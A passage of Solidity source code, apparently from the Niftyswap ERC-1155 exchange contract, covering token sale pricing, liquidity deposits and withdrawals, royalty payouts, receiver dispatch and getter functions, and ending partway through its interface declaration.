uint256 totalCurrency = 0; // Total amount of currency tokens to transfer
currencyBought = new uint256[](nTokens);
// Get token reserves
uint256[] memory tokenReserves = _getTokenReserves(_tokenIds);
// Assumes the Tokens ids are already received by contract, but not
// the Tokens Ids. Will return cards not sold if invalid price.
// Remove liquidity for each Token ID in _tokenIds
for (uint256 i = 0; i < nTokens; i++) {
// Store current id and amount from argument arrays
uint256 idSold = _tokenIds[i];
uint256 amountSold = _tokensSoldAmounts[i];
uint256 tokenReserve = tokenReserves[i];
// If 0 tokens send for this ID, revert
require(amountSold > 0, "NE20#7"); // NiftyswapExchange20#_tokenToCurrency: NULL_TOKENS_SOLD
// Load currency token and Token _id reserves
uint256 currencyReserve = currencyReserves[idSold];
// Get amount of currency that will be received
// Need to sub amountSold because tokens already added in reserve, which would bias the calculation
// Don't need to add it for currencyReserve because the amount is added after this calculation
uint256 currencyAmount = getSellPrice(amountSold, tokenReserve.sub(amountSold), currencyReserve);
// If royalty, substract amount seller will receive after LP fees were calculated
// Note: Royalty will be a bit lower since LF fees are substracted first
(address royaltyRecipient, uint256 royaltyAmount) = getRoyaltyInfo(idSold, currencyAmount);
if (royaltyAmount > 0) {
royaltiesNumerator[royaltyRecipient] = royaltiesNumerator[royaltyRecipient].add(royaltyAmount.mul(ROYALTIES_DENOMINATOR));
}
// Increase total amount of currency to receive (minus royalty to pay)
totalCurrency = totalCurrency.add(currencyAmount.sub(royaltyAmount));
// Update individual currency reseve amount
currencyReserves[idSold] = currencyReserve.sub(currencyAmount);
// Append Token id, Token id amount and currency token amount to tracking arrays
currencyBought[i] = currencyAmount.sub(royaltyAmount);
}
// Set the extra fees aside to recipients after sale
for (uint256 i = 0; i < _extraFeeAmounts.length; i++) {
if (_extraFeeAmounts[i] > 0) {
totalCurrency = totalCurrency.sub(_extraFeeAmounts[i]);
royaltiesNumerator[_extraFeeRecipients[i]] = royaltiesNumerator[_extraFeeRecipients[i]].add(_extraFeeAmounts[i].mul(ROYALTIES_DENOMINATOR));
}
}
// If minCurrency is not met
require(totalCurrency >= _minCurrency, "NE20#8"); // NiftyswapExchange20#_tokenToCurrency: INSUFFICIENT_CURRENCY_AMOUNT
// Transfer currency here
TransferHelper.safeTransfer(currency, _recipient, totalCurrency);
return currencyBought;
}
/**
* @dev Pricing function used for converting Tokens to currency token.
* @param _assetSoldAmount Amount of Tokens being sold.
* @param _assetSoldReserve Amount of Tokens in exchange reserves.
* @param _assetBoughtReserve Amount of currency tokens in exchange reserves.
* @return price Amount of currency tokens to receive from Niftyswap.
*/
function getSellPrice(
uint256 _assetSoldAmount,
uint256 _assetSoldReserve,
uint256 _assetBoughtReserve)
override public view returns (uint256 price)
{
//Reserves must not be empty
require(_assetSoldReserve > 0 && _assetBoughtReserve > 0, "NE20#9"); // NiftyswapExchange20#getSellPrice: EMPTY_RESERVE
// Calculate amount to receive (with fee) before royalty
uint256 _assetSoldAmount_withFee = _assetSoldAmount.mul(FEE_MULTIPLIER);
uint256 numerator = _assetSoldAmount_withFee.mul(_assetBoughtReserve);
uint256 denominator = _assetSoldReserve.mul(1000).add(_assetSoldAmount_withFee);
return numerator / denominator; //Rounding errors will favor Niftyswap, so nothing to do
}
/**
* @dev Pricing function used for converting Tokens to currency token (including royalty fee)
* @param _tokenId Id ot token being sold
* @param _assetSoldAmount Amount of Tokens being sold.
* @param _assetSoldReserve Amount of Tokens in exchange reserves.
* @param _assetBoughtReserve Amount of currency tokens in exchange reserves.
* @return price Amount of currency tokens to receive from Niftyswap.
*/
function getSellPriceWithRoyalty(
uint256 _tokenId,
uint256 _assetSoldAmount,
uint256 _assetSoldReserve,
uint256 _assetBoughtReserve)
override public view returns (uint256 price)
{
uint256 sellAmount = getSellPrice(_assetSoldAmount, _assetSoldReserve, _assetBoughtReserve);
(, uint256 royaltyAmount) = getRoyaltyInfo(_tokenId, sellAmount);
return sellAmount.sub(royaltyAmount);
}
/***********************************|
| Liquidity Functions |
|__________________________________*/
/**
* @notice Deposit less than max currency tokens && exact Tokens (token ID) at current ratio to mint liquidity pool tokens.
* @dev min_liquidity does nothing when total liquidity pool token supply is 0.
* @dev Assumes that sender approved this contract on the currency
* @dev Sorting _tokenIds is mandatory for efficient way of preventing duplicated IDs (which would lead to errors)
* @param _provider Address that provides liquidity to the reserve
* @param _tokenIds Array of Token IDs where liquidity is added
* @param _tokenAmounts Array of amount of Tokens deposited corresponding to each ID provided in _tokenIds
* @param _maxCurrency Array of maximum number of tokens deposited for each ID provided in _tokenIds.
* Deposits max amount if total liquidity pool token supply is 0.
* @param _deadline Timestamp after which this transaction will be reverted
*/
function _addLiquidity(
address _provider,
uint256[] memory _tokenIds,
uint256[] memory _tokenAmounts,
uint256[] memory _maxCurrency,
uint256 _deadline)
internal nonReentrant()
{
// Requirements
require(_deadline >= block.timestamp, "NE20#10"); // NiftyswapExchange20#_addLiquidity: DEADLINE_EXCEEDED
// Initialize variables
uint256 nTokens = _tokenIds.length; // Number of Token IDs to deposit
uint256 totalCurrency = 0; // Total amount of currency tokens to transfer
// Initialize arrays
uint256[] memory liquiditiesToMint = new uint256[](nTokens);
uint256[] memory currencyAmounts = new uint256[](nTokens);
// Get token reserves
uint256[] memory tokenReserves = _getTokenReserves(_tokenIds);
// Assumes tokens _ids are deposited already, but not currency tokens
// as this is calculated and executed below.
// Loop over all Token IDs to deposit
for (uint256 i = 0; i < nTokens; i ++) {
// Store current id and amount from argument arrays
uint256 tokenId = _tokenIds[i];
uint256 amount = _tokenAmounts[i];
// Check if input values are acceptable
require(_maxCurrency[i] > 0, "NE20#11"); // NiftyswapExchange20#_addLiquidity: NULL_MAX_CURRENCY
require(amount > 0, "NE20#12"); // NiftyswapExchange20#_addLiquidity: NULL_TOKENS_AMOUNT
// Current total liquidity calculated in currency token
uint256 totalLiquidity = totalSupplies[tokenId];
// When reserve for this token already exists
if (totalLiquidity > 0) {
// Load currency token and Token reserve's supply of Token id
uint256 currencyReserve = currencyReserves[tokenId]; // Amount not yet in reserve
uint256 tokenReserve = tokenReserves[i];
/**
* Amount of currency tokens to send to token id reserve:
* X/Y = dx/dy
* dx = X*dy/Y
* where
* X: currency total liquidity
* Y: Token _id total liquidity (before tokens were received)
* dy: Amount of token _id deposited
* dx: Amount of currency to deposit
*
* Adding .add(1) if rounding errors so to not favor users incorrectly
*/
(uint256 currencyAmount, bool rounded) = divRound(amount.mul(currencyReserve), tokenReserve.sub(amount));
require(_maxCurrency[i] >= currencyAmount, "NE20#13"); // NiftyswapExchange20#_addLiquidity: MAX_CURRENCY_AMOUNT_EXCEEDED
// Update currency reserve size for Token id before transfer
currencyReserves[tokenId] = currencyReserve.add(currencyAmount);
// Update totalCurrency
totalCurrency = totalCurrency.add(currencyAmount);
// Proportion of the liquidity pool to give to current liquidity provider
// If rounding error occured, round down to favor previous liquidity providers
// See https://github.com/0xsequence/niftyswap/issues/19
liquiditiesToMint[i] = (currencyAmount.sub(rounded ? 1 : 0)).mul(totalLiquidity) / currencyReserve;
currencyAmounts[i] = currencyAmount;
// Mint liquidity ownership tokens and increase liquidity supply accordingly
totalSupplies[tokenId] = totalLiquidity.add(liquiditiesToMint[i]);
} else {
uint256 maxCurrency = _maxCurrency[i];
// Otherwise rounding error could end up being significant on second deposit
require(maxCurrency >= 1000, "NE20#14"); // NiftyswapExchange20#_addLiquidity: INVALID_CURRENCY_AMOUNT
// Update currency reserve size for Token id before transfer
currencyReserves[tokenId] = maxCurrency;
// Update totalCurrency
totalCurrency = totalCurrency.add(maxCurrency);
// Initial liquidity is amount deposited (Incorrect pricing will be arbitraged)
// uint256 initialLiquidity = _maxCurrency;
totalSupplies[tokenId] = maxCurrency;
// Liquidity to mints
liquiditiesToMint[i] = maxCurrency;
currencyAmounts[i] = maxCurrency;
}
}
// Transfer all currency to this contract
TransferHelper.safeTransferFrom(currency, _provider, address(this), totalCurrency);
// Mint liquidity pool tokens
_batchMint(_provider, _tokenIds, liquiditiesToMint, "");
// Emit event
emit LiquidityAdded(_provider, _tokenIds, _tokenAmounts, currencyAmounts);
}
/**
* @dev Convert pool participation into amounts of token and currency.
* @dev Rounding error of the asset with lower resolution is traded for the other asset.
* @param _amountPool Participation to be converted to tokens and currency.
* @param _tokenReserve Amount of tokens on the AMM reserve.
* @param _currencyReserve Amount of currency on the AMM reserve.
* @param _totalLiquidity Total liquidity on the pool.
*
* @return currencyAmount Currency corresponding to pool amount plus rounded tokens.
* @return tokenAmount Token corresponding to pool amount plus rounded currency.
*/
function _toRoundedLiquidity(
uint256 _tokenId,
uint256 _amountPool,
uint256 _tokenReserve,
uint256 _currencyReserve,
uint256 _totalLiquidity
) internal view returns (
uint256 currencyAmount,
uint256 tokenAmount,
uint256 soldTokenNumerator,
uint256 boughtCurrencyNumerator,
address royaltyRecipient,
uint256 royaltyNumerator
) {
uint256 currencyNumerator = _amountPool.mul(_currencyReserve);
uint256 tokenNumerator = _amountPool.mul(_tokenReserve);
// Convert all tokenProduct rest to currency
soldTokenNumerator = tokenNumerator % _totalLiquidity;
if (soldTokenNumerator != 0) {
// The trade happens "after" funds are out of the pool
// so we need to remove these funds before computing the rate
uint256 virtualTokenReserve = _tokenReserve.sub(tokenNumerator / _totalLiquidity).mul(_totalLiquidity);
uint256 virtualCurrencyReserve = _currencyReserve.sub(currencyNumerator / _totalLiquidity).mul(_totalLiquidity);
// Skip process if any of the two reserves is left empty
// this step is important to avoid an error withdrawing all left liquidity
if (virtualCurrencyReserve != 0 && virtualTokenReserve != 0) {
boughtCurrencyNumerator = getSellPrice(soldTokenNumerator, virtualTokenReserve, virtualCurrencyReserve);
// Discount royalty currency
(royaltyRecipient, royaltyNumerator) = getRoyaltyInfo(_tokenId, boughtCurrencyNumerator);
boughtCurrencyNumerator = boughtCurrencyNumerator.sub(royaltyNumerator);
currencyNumerator = currencyNumerator.add(boughtCurrencyNumerator);
// Add royalty numerator (needs to be converted to ROYALTIES_DENOMINATOR)
royaltyNumerator = royaltyNumerator.mul(ROYALTIES_DENOMINATOR) / _totalLiquidity;
}
}
// Calculate amounts
currencyAmount = currencyNumerator / _totalLiquidity;
tokenAmount = tokenNumerator / _totalLiquidity;
}
/**
* @dev Burn liquidity pool tokens to withdraw currency && Tokens at current ratio.
* @dev Sorting _tokenIds is mandatory for efficient way of preventing duplicated IDs (which would lead to errors)
* @param _provider Address that removes liquidity to the reserve
* @param _tokenIds Array of Token IDs where liquidity is removed
* @param _poolTokenAmounts Array of Amount of liquidity pool tokens burned for each Token id in _tokenIds.
* @param _minCurrency Minimum currency withdrawn for each Token id in _tokenIds.
* @param _minTokens Minimum Tokens id withdrawn for each Token id in _tokenIds.
* @param _deadline Timestamp after which this transaction will be reverted
*/
function _removeLiquidity(
address _provider,
uint256[] memory _tokenIds,
uint256[] memory _poolTokenAmounts,
uint256[] memory _minCurrency,
uint256[] memory _minTokens,
uint256 _deadline)
internal nonReentrant()
{
// Input validation
require(_deadline > block.timestamp, "NE20#15"); // NiftyswapExchange20#_removeLiquidity: DEADLINE_EXCEEDED
// Initialize variables
uint256 nTokens = _tokenIds.length; // Number of Token IDs to deposit
uint256 totalCurrency = 0; // Total amount of currency to transfer
uint256[] memory tokenAmounts = new uint256[](nTokens); // Amount of Tokens to transfer for each id
// Structs contain most information for the event
// notice: tokenAmounts and tokenIds are absent because we already
// either have those arrays constructed or we need to construct them for other reasons
LiquidityRemovedEventObj[] memory eventObjs = new LiquidityRemovedEventObj[](nTokens);
// Get token reserves
uint256[] memory tokenReserves = _getTokenReserves(_tokenIds);
// Assumes NIFTY liquidity tokens are already received by contract, but not
// the currency nor the Tokens Ids
// Remove liquidity for each Token ID in _tokenIds
for (uint256 i = 0; i < nTokens; i++) {
// Store current id and amount from argument arrays
uint256 id = _tokenIds[i];
uint256 amountPool = _poolTokenAmounts[i];
// Load total liquidity pool token supply for Token _id
uint256 totalLiquidity = totalSupplies[id];
require(totalLiquidity > 0, "NE20#16"); // NiftyswapExchange20#_removeLiquidity: NULL_TOTAL_LIQUIDITY
// Load currency and Token reserve's supply of Token id
uint256 currencyReserve = currencyReserves[id];
// Calculate amount to withdraw for currency and Token _id
uint256 currencyAmount;
uint256 tokenAmount;
{
uint256 tokenReserve = tokenReserves[i];
uint256 soldTokenNumerator;
uint256 boughtCurrencyNumerator;
address royaltyRecipient;
uint256 royaltyNumerator;
(
currencyAmount,
tokenAmount,
soldTokenNumerator,
boughtCurrencyNumerator,
royaltyRecipient,
royaltyNumerator
) = _toRoundedLiquidity(id, amountPool, tokenReserve, currencyReserve, totalLiquidity);
// Add royalties
royaltiesNumerator[royaltyRecipient] = royaltiesNumerator[royaltyRecipient].add(royaltyNumerator);
// Add trade info to event
eventObjs[i].soldTokenNumerator = soldTokenNumerator;
eventObjs[i].boughtCurrencyNumerator = boughtCurrencyNumerator;
eventObjs[i].totalSupply = totalLiquidity;
}
// Verify if amounts to withdraw respect minimums specified
require(currencyAmount >= _minCurrency[i], "NE20#17"); // NiftyswapExchange20#_removeLiquidity: INSUFFICIENT_CURRENCY_AMOUNT
require(tokenAmount >= _minTokens[i], "NE20#18"); // NiftyswapExchange20#_removeLiquidity: INSUFFICIENT_TOKENS
// Update total liquidity pool token supply of Token _id
totalSupplies[id] = totalLiquidity.sub(amountPool);
// Update currency reserve size for Token id
currencyReserves[id] = currencyReserve.sub(currencyAmount);
// Update totalCurrency and tokenAmounts
totalCurrency = totalCurrency.add(currencyAmount);
tokenAmounts[i] = tokenAmount;
eventObjs[i].currencyAmount = currencyAmount;
}
// Burn liquidity pool tokens for offchain supplies
_batchBurn(address(this), _tokenIds, _poolTokenAmounts);
// Transfer total currency and all Tokens ids
TransferHelper.safeTransfer(currency, _provider, totalCurrency);
token.safeBatchTransferFrom(address(this), _provider, _tokenIds, tokenAmounts, "");
// Emit event
emit LiquidityRemoved(_provider, _tokenIds, tokenAmounts, eventObjs);
}
/***********************************|
| Receiver Methods Handler |
|__________________________________*/
// Method signatures for onReceive control logic
// bytes4(keccak256(
// "_tokenToCurrency(uint256[],uint256[],uint256,uint256,address,address[],uint256[])"
// ));
bytes4 internal constant SELLTOKENS_SIG = 0xade79c7a;
// bytes4(keccak256(
// "_addLiquidity(address,uint256[],uint256[],uint256[],uint256)"
// ));
bytes4 internal constant ADDLIQUIDITY_SIG = 0x82da2b73;
// bytes4(keccak256(
// "_removeLiquidity(address,uint256[],uint256[],uint256[],uint256[],uint256)"
// ));
bytes4 internal constant REMOVELIQUIDITY_SIG = 0x5c0bf259;
// bytes4(keccak256(
// "DepositTokens()"
// ));
bytes4 internal constant DEPOSIT_SIG = 0xc8c323f9;
/***********************************|
| Buying Tokens |
|__________________________________*/
/**
* @notice Convert currency tokens to Tokens _id and transfers Tokens to recipient.
* @dev User specifies MAXIMUM inputs (_maxCurrency) and EXACT outputs.
* @dev Assumes that all trades will be successful, or revert the whole tx
* @dev Exceeding currency tokens sent will be refunded to recipient
* @dev Sorting IDs is mandatory for efficient way of preventing duplicated IDs (which would lead to exploit)
* @param _tokenIds Array of Tokens ID that are bought
* @param _tokensBoughtAmounts Amount of Tokens id bought for each corresponding Token id in _tokenIds
* @param _maxCurrency Total maximum amount of currency tokens to spend for all Token ids
* @param _deadline Timestamp after which this transaction will be reverted
* @param _recipient The address that receives output Tokens and refund
* @param _extraFeeRecipients Array of addresses that will receive extra fee
* @param _extraFeeAmounts Array of amounts of currency that will be sent as extra fee
* @return currencySold How much currency was actually sold.
*/
function buyTokens(
uint256[] memory _tokenIds,
uint256[] memory _tokensBoughtAmounts,
uint256 _maxCurrency,
uint256 _deadline,
address _recipient,
address[] memory _extraFeeRecipients,
uint256[] memory _extraFeeAmounts
)
override external returns (uint256[] memory)
{
require(_deadline >= block.timestamp, "NE20#19"); // NiftyswapExchange20#buyTokens: DEADLINE_EXCEEDED
require(_tokenIds.length > 0, "NE20#20"); // NiftyswapExchange20#buyTokens: INVALID_CURRENCY_IDS_AMOUNT
// Transfer the tokens for purchase
TransferHelper.safeTransferFrom(currency, msg.sender, address(this), _maxCurrency);
address recipient = _recipient == address(0x0) ? msg.sender : _recipient;
// Set the extra fee aside to recipients ahead of purchase, if any.
uint256 maxCurrency = _maxCurrency;
uint256 nExtraFees = _extraFeeRecipients.length;
require(nExtraFees == _extraFeeAmounts.length, "NE20#21"); // NiftyswapExchange20#buyTokens: EXTRA_FEES_ARRAYS_ARE_NOT_SAME_LENGTH
for (uint256 i = 0; i < nExtraFees; i++) {
if (_extraFeeAmounts[i] > 0) {
maxCurrency = maxCurrency.sub(_extraFeeAmounts[i]);
royaltiesNumerator[_extraFeeRecipients[i]] = royaltiesNumerator[_extraFeeRecipients[i]].add(_extraFeeAmounts[i].mul(ROYALTIES_DENOMINATOR));
}
}
// Execute trade and retrieve amount of currency spent
uint256[] memory currencySold = _currencyToToken(_tokenIds, _tokensBoughtAmounts, maxCurrency, _deadline, recipient);
emit TokensPurchase(msg.sender, recipient, _tokenIds, _tokensBoughtAmounts, currencySold, _extraFeeRecipients, _extraFeeAmounts);
return currencySold;
}
/**
* @notice Handle which method is being called on transfer
* @dev `_data` must be encoded as follow: abi.encode(bytes4, MethodObj)
* where bytes4 argument is the MethodObj object signature passed as defined
* in the `Signatures for onReceive control logic` section above
* @param _from The address which previously owned the Token
* @param _ids An array containing ids of each Token being transferred
* @param _amounts An array containing amounts of each Token being transferred
* @param _data Method signature and corresponding encoded arguments for method to call on *this* contract
* @return bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)")
*/
function onERC1155BatchReceived(
address, // _operator,
address _from,
uint256[] memory _ids,
uint256[] memory _amounts,
bytes memory _data)
override public returns(bytes4)
{
// This function assumes that the ERC-1155 token contract can
// only call `onERC1155BatchReceived()` via a valid token transfer.
// Users must be responsible and only use this Niftyswap exchange
// contract with ERC-1155 compliant token contracts.
// Obtain method to call via object signature
bytes4 functionSignature = abi.decode(_data, (bytes4));
/***********************************|
| Selling Tokens |
|__________________________________*/
if (functionSignature == SELLTOKENS_SIG) {
// Tokens received need to be Token contract
require(msg.sender == address(token), "NE20#22"); // NiftyswapExchange20#onERC1155BatchReceived: INVALID_TOKENS_TRANSFERRED
// Decode SellTokensObj from _data to call _tokenToCurrency()
SellTokensObj memory obj;
(, obj) = abi.decode(_data, (bytes4, SellTokensObj));
address recipient = obj.recipient == address(0x0) ? _from : obj.recipient;
// Validate fee arrays
require(obj.extraFeeRecipients.length == obj.extraFeeAmounts.length, "NE20#23"); // NiftyswapExchange20#buyTokens: EXTRA_FEES_ARRAYS_ARE_NOT_SAME_LENGTH
// Execute trade and retrieve amount of currency received
uint256[] memory currencyBought = _tokenToCurrency(_ids, _amounts, obj.minCurrency, obj.deadline, recipient, obj.extraFeeRecipients, obj.extraFeeAmounts);
emit CurrencyPurchase(_from, recipient, _ids, _amounts, currencyBought, obj.extraFeeRecipients, obj.extraFeeAmounts);
/***********************************|
| Adding Liquidity Tokens |
|__________________________________*/
} else if (functionSignature == ADDLIQUIDITY_SIG) {
// Only allow to receive ERC-1155 tokens from `token` contract
require(msg.sender == address(token), "NE20#24"); // NiftyswapExchange20#onERC1155BatchReceived: INVALID_TOKEN_TRANSFERRED
// Decode AddLiquidityObj from _data to call _addLiquidity()
AddLiquidityObj memory obj;
(, obj) = abi.decode(_data, (bytes4, AddLiquidityObj));
_addLiquidity(_from, _ids, _amounts, obj.maxCurrency, obj.deadline);
/***********************************|
| Removing iquidity Tokens |
|__________________________________*/
} else if (functionSignature == REMOVELIQUIDITY_SIG) {
// Tokens received need to be NIFTY-1155 tokens
require(msg.sender == address(this), "NE20#25"); // NiftyswapExchange20#onERC1155BatchReceived: INVALID_NIFTY_TOKENS_TRANSFERRED
// Decode RemoveLiquidityObj from _data to call _removeLiquidity()
RemoveLiquidityObj memory obj;
(, obj) = abi.decode(_data, (bytes4, RemoveLiquidityObj));
_removeLiquidity(_from, _ids, _amounts, obj.minCurrency, obj.minTokens, obj.deadline);
/***********************************|
| Deposits & Invalid Calls |
|__________________________________*/
} else if (functionSignature == DEPOSIT_SIG) {
// Do nothing for when contract is self depositing
// This could be use to deposit currency "by accident", which would be locked
require(msg.sender == address(currency), "NE20#26"); // NiftyswapExchange20#onERC1155BatchReceived: INVALID_TOKENS_DEPOSITED
} else {
revert("NE20#27"); // NiftyswapExchange20#onERC1155BatchReceived: INVALID_METHOD
}
return ERC1155_BATCH_RECEIVED_VALUE;
}
/**
* @dev Will pass to onERC115Batch5Received
*/
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes memory _data)
override public returns(bytes4)
{
uint256[] memory ids = new uint256[](1);
uint256[] memory amounts = new uint256[](1);
ids[0] = _id;
amounts[0] = _amount;
require(
ERC1155_BATCH_RECEIVED_VALUE == onERC1155BatchReceived(_operator, _from, ids, amounts, _data),
"NE20#28" // NiftyswapExchange20#onERC1155Received: INVALID_ONRECEIVED_MESSAGE
);
return ERC1155_RECEIVED_VALUE;
}
/**
* @notice Prevents receiving Ether or calls to unsuported methods
*/
fallback () external {
revert("NE20#29"); // NiftyswapExchange20:UNSUPPORTED_METHOD
}
/***********************************|
| Royalty Functions |
|__________________________________*/
/**
* @notice Will set the royalties fees and recipient for contracts that don't support ERC-2981
* @param _fee Fee pourcentage with a 10000 basis (e.g. 0.3% is 3 and 1% is 10 and 100% is 1000)
* @param _recipient Address where to send the fees to
*/
function setRoyaltyInfo(uint256 _fee, address _recipient) onlyOwner public {
// Don't use IS_ERC2981 in case token contract was updated
bool isERC2981 = token.supportsInterface(type(IERC2981).interfaceId);
require(!isERC2981, "NE20#30"); // NiftyswapExchange20#setRoyaltyInfo: TOKEN SUPPORTS ERC-2981
require(_fee <= MAX_ROYALTY, "NE20#31"); // NiftyswapExchange20#setRoyaltyInfo: ROYALTY_FEE_IS_TOO_HIGH
globalRoyaltyFee = _fee;
globalRoyaltyRecipient = _recipient;
emit RoyaltyChanged(_recipient, _fee);
}
/**
* @notice Will send the royalties that _royaltyRecipient can claim, if any
* @dev Anyone can call this function such that payout could be distributed
* regularly instead of being claimed.
* @param _royaltyRecipient Address that is able to claim royalties
*/
function sendRoyalties(address _royaltyRecipient) override external {
uint256 royaltyAmount = royaltiesNumerator[_royaltyRecipient] / ROYALTIES_DENOMINATOR;
royaltiesNumerator[_royaltyRecipient] = royaltiesNumerator[_royaltyRecipient] % ROYALTIES_DENOMINATOR;
TransferHelper.safeTransfer(currency, _royaltyRecipient, royaltyAmount);
}
/**
* @notice Will return how much of currency need to be paid for the royalty
* @notice Royalty is capped at 25% of the total amount of currency
* @param _tokenId ID of the erc-1155 token being traded
* @param _cost Amount of currency sent/received for the trade
* @return recipient Address that will be able to claim the royalty
* @return royalty Amount of currency that will be sent to royalty recipient
*/
function getRoyaltyInfo(uint256 _tokenId, uint256 _cost) public view returns (address recipient, uint256 royalty) {
if (IS_ERC2981) {
// Add a try/catch in-case token *removed* ERC-2981 support
try IERC2981(address(token)).royaltyInfo(_tokenId, _cost) returns(address _r, uint256 _c) {
// Cap to 25% of the total amount of currency
uint256 max = _cost.mul(MAX_ROYALTY) / ROYALTIES_DENOMINATOR;
return (_r, _c > max ? max : _c);
} catch {
// Default back to global setting if error occurs
return (globalRoyaltyRecipient, (_cost.mul(globalRoyaltyFee)) / ROYALTIES_DENOMINATOR);
}
} else {
return (globalRoyaltyRecipient, (_cost.mul(globalRoyaltyFee)) / ROYALTIES_DENOMINATOR);
}
}
/***********************************|
| Getter Functions |
|__________________________________*/
/**
* @notice Get amount of currency in reserve for each Token _id in _ids
* @param _ids Array of ID sto query currency reserve of
* @return amount of currency in reserve for each Token _id
*/
function getCurrencyReserves(
uint256[] calldata _ids)
override external view returns (uint256[] memory)
{
uint256 nIds = _ids.length;
uint256[] memory currencyReservesReturn = new uint256[](nIds);
for (uint256 i = 0; i < nIds; i++) {
currencyReservesReturn[i] = currencyReserves[_ids[i]];
}
return currencyReservesReturn;
}
/**
* @notice Return price for `currency => Token _id` trades with an exact token amount.
* @param _ids Array of ID of tokens bought.
* @param _tokensBought Amount of Tokens bought.
* @return Amount of currency needed to buy Tokens in _ids for amounts in _tokensBought
*/
function getPrice_currencyToToken(
uint256[] calldata _ids,
uint256[] calldata _tokensBought)
override external view returns (uint256[] memory)
{
uint256 nIds = _ids.length;
uint256[] memory prices = new uint256[](nIds);
for (uint256 i = 0; i < nIds; i++) {
// Load Token id reserve
uint256 tokenReserve = token.balanceOf(address(this), _ids[i]);
prices[i] = getBuyPriceWithRoyalty(_ids[i], _tokensBought[i], currencyReserves[_ids[i]], tokenReserve);
}
// Return prices
return prices;
}
/**
* @notice Return price for `Token _id => currency` trades with an exact token amount.
* @param _ids Array of IDs token sold.
* @param _tokensSold Array of amount of each Token sold.
* @return Amount of currency that can be bought for Tokens in _ids for amounts in _tokensSold
*/
function getPrice_tokenToCurrency(
uint256[] calldata _ids,
uint256[] calldata _tokensSold)
override external view returns (uint256[] memory)
{
uint256 nIds = _ids.length;
uint256[] memory prices = new uint256[](nIds);
for (uint256 i = 0; i < nIds; i++) {
// Load Token id reserve
uint256 tokenReserve = token.balanceOf(address(this), _ids[i]);
prices[i] = getSellPriceWithRoyalty(_ids[i], _tokensSold[i], tokenReserve, currencyReserves[_ids[i]]);
}
// Return price
return prices;
}
/**
* @return Address of Token that is sold on this exchange.
*/
function getTokenAddress() override external view returns (address) {
return address(token);
}
/**
* @return LP fee per 1000 units
*/
function getLPFee() override external view returns (uint256) {
return 1000-FEE_MULTIPLIER;
}
/**
* @return Address of the currency contract that is used as currency
*/
function getCurrencyInfo() override external view returns (address) {
return (address(currency));
}
/**
* @notice Get total supply of liquidity tokens
* @param _ids ID of the Tokens
* @return The total supply of each liquidity token id provided in _ids
*/
function getTotalSupply(uint256[] calldata _ids)
override external view returns (uint256[] memory)
{
// Number of ids
uint256 nIds = _ids.length;
// Variables
uint256[] memory batchTotalSupplies = new uint256[](nIds);
// Iterate over each owner and token ID
for (uint256 i = 0; i < nIds; i++) {
batchTotalSupplies[i] = totalSupplies[_ids[i]];
}
return batchTotalSupplies;
}
/**
* @return Address of factory that created this exchange.
*/
function getFactoryAddress() override external view returns (address) {
return factory;
}
/**
* @return Global royalty fee % if not supporting ERC-2981
*/
function getGlobalRoyaltyFee() override external view returns (uint256) {
return globalRoyaltyFee;
}
/**
* @return Global royalty recipient if token not supporting ERC-2981
*/
function getGlobalRoyaltyRecipient() override external view returns (address) {
return globalRoyaltyRecipient;
}
/**
* @return Get amount of currency in royalty an address can claim
* @param _royaltyRecipient Address to check the claimable royalties
*/
function getRoyalties(address _royaltyRecipient) override external view returns (uint256) {
return royaltiesNumerator[_royaltyRecipient] / ROYALTIES_DENOMINATOR;
}
function getRoyaltiesNumerator(address _royaltyRecipient) override external view returns (uint256) {
return royaltiesNumerator[_royaltyRecipient];
}
/***********************************|
| Utility Functions |
|__________________________________*/
/**
* @notice Divides two numbers and add 1 if there is a rounding error
* @param a Numerator
* @param b Denominator
*/
function divRound(uint256 a, uint256 b) internal pure returns (uint256, bool) {
return a % b == 0 ? (a/b, false) : ((a/b).add(1), true);
}
/**
* @notice Return Token reserves for given Token ids
* @dev Assumes that ids are sorted from lowest to highest with no duplicates.
* This assumption allows for checking the token reserves only once, otherwise
* token reserves need to be re-checked individually or would have to do more expensive
* duplication checks.
* @param _tokenIds Array of IDs to query their Reserve balance.
* @return Array of Token ids' reserves
*/
function _getTokenReserves(
uint256[] memory _tokenIds)
internal view returns (uint256[] memory)
{
uint256 nTokens = _tokenIds.length;
// Regular balance query if only 1 token, otherwise batch query
if (nTokens == 1) {
uint256[] memory tokenReserves = new uint256[](1);
tokenReserves[0] = token.balanceOf(address(this), _tokenIds[0]);
return tokenReserves;
} else {
// Lazy check preventing duplicates & build address array for query
address[] memory thisAddressArray = new address[](nTokens);
thisAddressArray[0] = address(this);
for (uint256 i = 1; i < nTokens; i++) {
require(_tokenIds[i-1] < _tokenIds[i], "NE20#32"); // NiftyswapExchange20#_getTokenReserves: UNSORTED_OR_DUPLICATE_TOKEN_IDS
thisAddressArray[i] = address(this);
}
return token.balanceOfBatch(thisAddressArray, _tokenIds);
}
}
/**
* @notice Indicates whether a contract implements the `ERC1155TokenReceiver` functions and so can accept ERC1155 token types.
* @param interfaceID The ERC-165 interface ID that is queried for support.s
* @dev This function MUST return true if it implements the ERC1155TokenReceiver interface and ERC-165 interface.
* This function MUST NOT consume more thsan 5,000 gas.
* @return Whether a given interface is supported
*/
function supportsInterface(bytes4 interfaceID) public override pure returns (bool) {
return interfaceID == type(IERC20).interfaceId ||
interfaceID == type(IERC165).interfaceId ||
interfaceID == type(IERC1155).interfaceId ||
interfaceID == type(IERC1155TokenReceiver).interfaceId ||
interfaceID == type(IERC1155Metadata).interfaceId;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
pragma experimental ABIEncoderV2;
interface INiftyswapExchange20 {
/***********************************|
| Events |
|__________________________________*/
event TokensPurchase(
address indexed buyer,
address indexed recipient,
uint256[] tokensBoughtIds,
uint256[] tokensBoughtAmounts,
uint256[] currencySoldAmounts,
address[] extraFeeRecipients,
uint256[] extraFeeAmounts
);
event CurrencyPurchase(
address indexed buyer,
address indexed recipient,
uint256[] tokensSoldIds,
uint256[] tokensSoldAmounts,
uint256[] currencyBoughtAmounts,
address[] extraFeeRecipients,
uint256[] extraFeeAmounts
);
event LiquidityAdded(
address indexed provider,
uint256[] tokenIds,
uint256[] tokenAmounts,
uint256[] currencyAmounts
);
struct LiquidityRemovedEventObj {
uint256 currencyAmount;
uint256 soldTokenNumerator;
uint256 boughtCurrencyNumerator;
uint256 totalSupply;
}
event LiquidityRemoved(
address indexed provider,
uint256[] tokenIds,
uint256[] tokenAmounts,
